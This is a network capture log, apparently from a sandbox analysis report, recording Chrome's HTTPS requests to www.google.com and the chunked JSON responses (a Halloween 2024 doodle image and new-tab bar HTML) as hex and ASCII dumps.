2024-10-30 14:59:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 14:59:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:13 UTC	336	IN	Data Raw: 31 38 62 62 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 48 61 6c 6c 6f 77 65 65 6e 20 32 30 32 34 22 2c 22 63 74 61 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 62 41 41 41 41 44 49 43 41 4d 41 41 41 43 2b 6c 6b 51 41 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 77 63 43 78 30 41 41 41 41 49 41 51 4d 67 41 68 4d 34 44 44 42 5a 41 30 4e 68 44 6c 42 72 44 31 6c 30 45 57 42 50 46 55 4a 53 41 44 73 2f 44 6a 59 78 43 43 6f 58 41 67 30 45 41 41 45 4b 41 77 4f 64 57 61 77 44 41 51 4d 46 41 41 6b Data Ascii: 18bb)]}'{"ddljson":{"accessibility_description":"","alt_text":"Halloween 2024","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbAAAADICAMAAAC+lkQAAAADAFBMVEVHcEwcCx0AAAAIAQMgAhM4DDBZA0NhDlBrD1l0EWBPFUJSADs/DjYxCCoXAg0EAAEKAwOdWawDAQMFAAk
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 41 55 6f 4e 44 30 73 4f 48 6e 4d 4e 47 6d 71 61 65 39 79 6a 66 50 6e 42 6b 66 37 4c 6d 66 2b 32 69 76 37 55 6f 50 39 61 4d 6e 38 51 41 78 55 31 46 6b 31 77 55 61 65 72 66 76 4b 76 67 2f 75 67 65 75 71 5a 63 4f 61 50 61 4f 4d 4c 45 56 55 4b 46 57 41 6b 48 58 45 36 4c 70 64 64 52 4b 56 72 55 72 64 35 58 73 4a 6b 53 36 35 58 50 61 41 32 4c 6f 49 6c 4b 6f 67 54 49 58 6f 65 4a 58 36 51 62 4e 53 64 64 72 39 65 51 35 67 53 4a 59 42 43 4e 49 4d 73 4a 6e 39 51 50 59 42 63 4f 6f 4f 62 5a 48 35 6f 52 58 2b 49 57 6e 36 75 63 33 78 34 54 6e 34 32 49 6e 4c 62 70 66 38 69 43 69 34 4e 41 52 49 73 44 7a 36 4c 62 4d 61 48 55 4d 64 55 50 5a 5a 31 56 4c 76 43 6a 72 54 2f 35 34 61 39 6f 58 41 4c 43 55 4a 50 4b 47 39 67 4e 59 62 66 6d 71 6e 5a 77 49 45 75 41 42 69 74 6a 73 70 Data Ascii: AUoND0sOHnMNGmqae9yjfPnBkf7Lmf+2iv7UoP9aMn8QAxU1Fk1wUaerfvKvg/ugeuqZcOaPaOMLEVUKFWAkHXE6LpddRKVrUrd5XsJkS65XPaA2LoIlKogTIXoeJX6QbNSddr9eQ5gSJYBCNIMsJn9QPYBcOoObZH5oRX+IWn6uc3x4Tn42InLbpf8iCi4NARIsDz6LbMaHUMdUPZZ1VLvCjrT/54a9oXALCUJPKG9gNYbfmqnZwIEuABitjsp
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 52 64 42 55 69 4d 4d 63 59 2f 69 45 48 77 6b 4c 6f 43 45 41 32 79 68 4f 2b 47 42 4b 4f 4f 6b 50 53 51 59 66 69 77 75 75 51 7a 6f 61 79 36 4a 73 6a 4b 73 71 7a 6e 52 33 2f 37 54 42 4b 2b 50 37 43 76 72 71 74 4b 4e 6d 49 55 64 69 4d 59 61 77 41 47 67 69 67 2f 74 58 4b 38 71 44 49 2b 73 71 50 31 69 53 34 6f 71 71 37 37 59 6c 30 69 4c 4f 75 5a 46 4e 67 31 58 6d 2b 6e 77 75 37 31 43 43 45 52 51 51 30 67 77 44 52 50 73 4d 77 47 50 52 71 67 50 4d 77 42 68 54 75 61 68 55 77 45 69 6e 4d 43 32 56 6a 48 75 6d 6b 6c 4c 39 57 56 41 72 76 4b 35 79 32 47 45 2f 50 43 63 44 64 42 72 41 55 4a 43 64 5a 35 70 6e 56 62 55 65 75 4b 50 66 46 74 64 34 62 47 44 69 64 68 46 50 4a 43 2f 79 6a 47 76 50 74 67 58 33 32 77 78 62 79 2f 4a 51 6b 58 41 34 74 70 6d 78 39 7a 51 4e 77 44 43 Data Ascii: RdBUiMMcY/iEHwkLoCEA2yhO+GBKOOkPSQYfiwuuQzoay6JsjKsqznR3/7TBK+P7CvrqtKNmIUdiMYawAGgig/tXK8qDI+sqP1iS4oqq77Yl0iLOuZFNg1Xm+nwu71CCERQQ0gwDRPsMwGPRqgPMwBhTuahUwEinMC2VjHumklL9WVArvK5y2GE/PCcDdBrAUJCdZ5pnVbUeuKPfFtd4bGDidhFPJC/yjGvPtgX32wxby/JQkXA4tpmx9zQNwDC
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 4c 46 69 57 62 65 6d 32 71 71 75 36 6b 63 76 6e 73 72 6e 33 66 65 44 6c 61 77 4d 6d 69 66 55 48 76 4c 30 73 4b 46 36 58 78 56 2b 54 47 53 49 6a 31 48 7a 4b 34 70 38 50 33 6a 37 77 65 37 4b 65 52 2f 66 6c 35 51 43 78 2b 79 43 76 77 66 68 77 61 47 6f 75 54 46 51 6b 51 57 41 78 42 78 4e 50 46 31 68 70 6f 64 77 56 56 35 52 4b 64 65 6b 2f 69 57 67 30 43 62 61 45 68 52 50 43 36 37 47 78 68 41 41 47 52 47 4e 63 4f 43 61 77 2f 6a 77 77 59 4a 6f 45 4c 6e 46 49 59 62 64 4d 57 69 75 70 32 5a 6b 73 58 67 49 43 6a 79 59 76 51 4a 6b 6d 72 2b 6c 38 48 70 66 70 2f 50 4c 53 79 50 7a 53 77 75 72 53 73 73 51 6c 69 54 6d 6f 51 6b 31 38 32 4f 55 57 63 35 71 57 79 36 6d 71 70 75 71 36 43 6a 53 57 5a 71 2b 64 4b 4a 70 43 67 41 5a 65 67 4b 64 62 68 6d 55 5a 75 71 47 71 4f 56 57 Data Ascii: LFiWbem2qqu6kcvnsrn3feDlawMmifUHvL0sKF6XxV+TGSIj1HzK4p8P3j7we7KeR/fl5QCx+yCvwfhwaGouTFQkQWAxBxNPF1hpodwVV5RKdek/iWg0CbaEhRPC67GxhAAGRGNcOCaw/jwwYJoELnFIYbdMWiup2ZksXgICjyYvQJkmr+l8Hpfp/PLSyPzSwurSssQliTmoQk182OUWc5qWy6mqpuq6CjSWZq+dKJpCgAZegKdbhmUZuqGqOVW
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 6d 77 56 36 35 37 67 6f 66 6e 4d 61 6f 62 50 75 7a 70 65 38 55 64 50 77 6b 69 38 4e 6e 62 62 38 42 4e 66 41 47 68 53 58 37 6a 79 4a 74 34 44 44 6c 39 38 6c 39 36 33 2b 72 72 51 7a 44 30 42 49 49 4f 72 75 35 32 66 2f 6d 6d 73 6c 4f 70 47 49 41 52 46 59 6e 74 39 31 63 70 63 75 50 6d 72 64 73 33 72 2f 57 54 56 78 7a 4c 6a 78 77 32 4a 6e 68 78 41 52 6e 4c 44 56 46 77 51 4e 69 32 56 68 31 30 57 50 70 50 41 68 4f 77 4b 47 34 6d 2f 35 75 47 4e 44 34 41 73 65 78 55 49 43 37 2b 45 70 4c 59 73 46 50 4f 67 35 65 44 53 32 33 69 30 72 52 74 48 4e 71 32 6d 6a 2b 2b 66 67 48 51 64 75 36 45 4a 43 50 33 36 6d 36 41 41 51 55 67 33 4b 58 71 4e 74 43 49 37 45 56 57 52 65 44 43 6c 65 57 48 57 64 42 52 4c 4c 49 73 30 58 62 4a 36 2f 71 6e 48 31 78 2f 39 66 71 68 68 51 65 4a 45 Data Ascii: mwV657gofnMaobPuzpe8UdPwki8Nnbb8BNfAGhSX7jyJt4DDl98l963+rrQzD0BIIOru52f/mmslOpGIARFYnt91cpcuPmrds3r/WTVxzLjxw2JnhxARnLDVFwQNi2Vh10WPpPAhOwKG4m/5uGND4AsexUIC7+EpLYsFPOg5eDS23i0rRtHNq2mj++fgHQdu6EJCP36m6AAQUg3KXqNtCI7EVWReDCleWHWdBRLLIs0XbJ6/qnH1x/9fqhhQeJE
2024-10-30 14:59:13 UTC	491	IN	Data Raw: 30 47 42 77 56 78 37 2f 45 51 70 46 6c 68 52 57 77 54 42 46 68 51 69 44 66 55 46 74 50 71 79 5a 4e 65 59 77 46 42 32 47 55 62 43 75 66 66 55 4b 63 4f 45 55 2b 75 71 36 37 4a 35 2f 55 39 32 43 6d 63 66 6a 78 64 6d 48 73 4e 64 44 51 32 48 78 44 6c 49 65 57 41 73 7a 33 67 47 57 68 57 32 42 73 41 33 59 45 50 75 59 32 4d 57 74 63 6a 6d 77 43 7a 41 67 64 6d 71 67 41 6a 4d 4a 59 41 74 64 46 52 43 37 64 75 62 70 6d 56 31 46 38 47 4a 4e 66 79 6f 52 69 30 53 6a 44 6a 4a 41 77 7a 62 4a 69 39 67 36 51 77 2b 33 71 6b 2b 6c 77 61 73 44 59 45 34 53 51 33 6b 34 4f 79 58 64 78 56 74 49 63 59 46 42 67 53 76 4f 56 48 42 61 34 6d 72 33 6c 34 41 46 58 42 51 32 5a 7a 64 41 62 43 66 76 4e 74 42 53 75 55 58 41 79 75 66 59 68 39 6d 36 59 64 6f 32 63 52 48 59 53 77 6e 73 49 66 4c Data Ascii: 0GBwVx7/EQpFlhRWwTBFhQiDfUFtPqyZNeYwFB2GUbCuffUKcOEU+uq67J5/U92CmcfjxdmHsNdDQ2HxDlIeWAsz3gGWhW2BsA3YEPuY2MWtcjmwCzAgdmqgAjMJYAtdFRC7dubpmV1F8GJNfyoRi0SjDjJAwzbJi9g6Qw+3qk+lwasDYE4SQ3k4OyXdxVtIcYFBgSvOVHBa4mr3l4AFXBQ2ZzdAbCfvNtBSuUXAyufYh9m6Ydo2cRHYSwnsIfL
2024-10-30 14:59:13 UTC	168	IN	Data Raw: 61 32 0d 0a 6f 6d 4e 6d 6d 32 42 36 44 64 75 68 55 68 65 44 72 44 42 50 77 52 4d 35 43 54 38 72 76 38 44 2f 33 57 57 67 6a 69 70 59 4c 42 2f 73 45 75 6f 2f 34 2f 77 43 70 35 6b 37 76 36 32 4e 4c 39 62 56 51 61 32 48 49 66 74 44 6f 43 52 6a 53 52 47 6a 31 33 71 6b 71 6d 4c 75 44 6a 6c 75 4c 52 51 49 69 65 4a 4c 41 4a 47 37 4a 63 70 68 6b 69 6e 36 47 67 30 7a 6f 6c 6a 33 33 55 47 6a 50 35 61 52 6b 42 55 69 59 36 34 78 41 49 6b 79 69 57 6d 4c 4c 49 46 6b 2b 50 44 70 72 2b 32 68 55 6a 72 49 39 69 0d 0a Data Ascii: a2omNmm2B6DduhUheDrDBPwRM5CT8rv8D/3WWgjipYLB/sEuo/4/wCp5k7v62NL9bVQa2HIftDoCRjSRGj13qkqmLuDjluLRQIieJLAJG7Jcphkin6Gg0zolj33UGjP5aRkBUiY64xAIkyiWmLLIFk+PDpr+2hUjrI9i
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 35 34 39 36 0d 0a 72 56 54 4f 72 6e 33 33 32 32 63 61 42 51 6c 48 4e 49 79 59 75 63 70 51 49 49 67 55 59 7a 41 49 76 6c 76 50 66 31 38 44 72 73 78 6f 4d 68 68 7a 47 37 49 61 59 61 4c 33 6c 38 62 7a 79 77 31 66 41 52 56 34 53 47 44 58 34 68 79 55 2b 53 63 4e 46 49 41 42 45 57 6f 73 69 4c 63 48 72 74 77 30 32 6a 4b 67 79 50 4c 4d 33 67 70 43 6f 78 4a 2f 65 68 47 34 70 4e 4e 56 64 30 49 4a 4b 70 54 75 4b 51 4b 62 77 4b 59 5a 53 46 7a 6d 33 41 69 30 73 6e 4a 78 49 69 59 50 70 6a 41 59 44 73 42 5a 6b 54 36 61 48 4a 6a 73 4e 69 62 4d 4f 4c 32 6b 77 33 6f 62 49 71 31 57 2b 6b 78 6c 33 51 4b 39 53 4c 69 2b 34 79 32 69 47 77 78 39 2f 64 49 6c 74 66 50 62 5a 57 72 48 70 4c 6b 6c 4d 46 32 46 52 30 2f 6a 52 43 70 41 56 4f 4f 36 6f 2f 66 54 39 39 33 56 32 59 75 79 66 Data Ascii: 5496rVTOrn3322caBQlHNIyYucpQIIgUYzAIvlvPf18DrsxoMhhzG7IaYaL3l8bzyw1fARV4SGDX4hyU+ScNFIABEWosiLcHrtw02jKgyPLM3gpCoxJ/ehG4pNNVd0IJKpTuKQKbwKYZSFzm3Ai0snJxIiYPpjAYDsBZkT6aHJjsNibMOL2kw3obIq1W+kxl3QK9SLi+4y2iGwx9/dIltfPbZWrHpLklMF2FR0/jRCpAVOO6o/fT993V2Yuyf
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 49 75 50 70 6d 42 6b 43 4e 57 5a 38 72 50 62 77 35 56 51 78 58 4d 58 6c 52 4a 69 56 71 47 58 4b 38 76 7a 4b 79 6b 30 57 68 71 77 68 6f 55 43 57 7a 30 34 45 4a 63 6e 78 53 36 58 71 49 76 44 42 63 70 70 39 36 48 77 30 50 44 61 48 6a 38 62 77 74 41 31 78 66 4c 2f 62 4f 7a 71 36 39 48 66 36 59 47 66 48 43 30 4e 65 44 35 45 57 52 46 36 55 58 67 46 77 65 79 52 56 49 59 61 4f 4f 6a 71 48 39 67 79 4d 70 69 4e 58 45 65 6a 34 78 6a 38 35 66 74 33 6d 31 66 6e 2b 31 58 50 42 58 55 32 50 6a 46 39 70 67 46 42 30 57 31 2b 6c 77 63 6d 65 53 6f 4d 41 4c 30 43 59 6e 6e 79 34 67 63 49 78 33 37 38 77 76 59 68 59 62 4b 4e 4b 53 6d 49 68 7a 39 45 45 69 7a 48 65 59 37 43 6a 32 6b 64 63 62 78 41 77 79 2b 35 5a 46 4d 6f 6b 5a 4c 68 36 72 57 56 57 55 73 76 37 2f 41 45 5a 4b 75 4d Data Ascii: IuPpmBkCNWZ8rPbw5VQxXMXlRJiVqGXK8vzKyk0WhqwhoUCWz04EJcnxS6XqIvDBcpp96Hw0PDaHj8bwtA1xfL/bOzq69Hf6YGfHC0NeD5EWRF6UXgFweyRVIYaOOjqH9gyMpiNXEej4xj85ft3m1fn+1XPBXU2PjF9pgFB0W1+lwcmeSoMAL0CYnny4gcIx378wvYhYbKNKSmIhz9EEizHeY7Cj2kdcbxAwy+5ZFMokZLh6rWVWUsv7/AEZKuM
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 6d 63 45 64 72 50 48 4b 34 76 30 71 49 69 56 77 47 42 2f 34 73 4c 4c 76 33 62 58 57 37 6b 68 76 4b 54 48 6f 51 4d 48 63 49 47 58 62 47 39 34 77 47 4c 6a 71 66 45 70 67 4c 79 39 4b 44 55 78 53 45 34 69 69 59 6e 54 73 51 68 38 46 4e 78 6f 62 6d 37 4f 42 37 31 6b 50 42 35 4f 50 45 79 2b 53 6d 42 69 36 34 39 35 38 64 69 79 76 73 38 4b 6d 67 49 6d 74 46 44 46 66 50 44 45 4c 73 50 70 53 6d 38 48 4c 4a 50 52 6e 46 62 53 57 44 33 78 49 30 54 6d 74 34 61 4b 78 4d 4c 68 53 33 64 6f 49 61 4d 4e 33 42 42 49 47 65 78 5a 52 75 78 46 59 4e 67 48 31 33 4b 41 52 51 48 5a 4d 78 4b 6a 42 42 65 42 61 57 4a 45 42 6c 70 56 41 4f 74 47 37 39 63 47 56 74 6d 57 4d 67 37 44 71 2f 57 61 6d 6f 76 4c 50 33 71 46 39 31 2b 61 46 2b 65 75 41 69 2b 49 41 30 30 47 59 49 75 4d 6a 64 32 76 Data Ascii: mcEdrPHK4v0qIiVwGB/4sLLv3bXW7khvKTHoQMHcIGXbG94wGLjqfEpgLy9KDUxSE4iiYnTsQh8FNxobm7OB71kPB5OPEy+SmBi64958diyvs8KmgImtFDFfPDELsPpSm8HLJPRnFbSWD3xI0Tmt4aKxMLhS3doIaMN3BBIGexZRuxFYNgH13KARQHZMxKjBBeBaWJEBlpVAOtG79cGVtmWMg7Dq/WamovLP3qF91+aF+euAi+IA00GYIuMjd2v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49750	142.250.186.68	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:13 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 14:59:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 14:59:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:13 UTC	336	IN	Data Raw: 33 35 62 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 35b0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 14:59:13 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700293,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
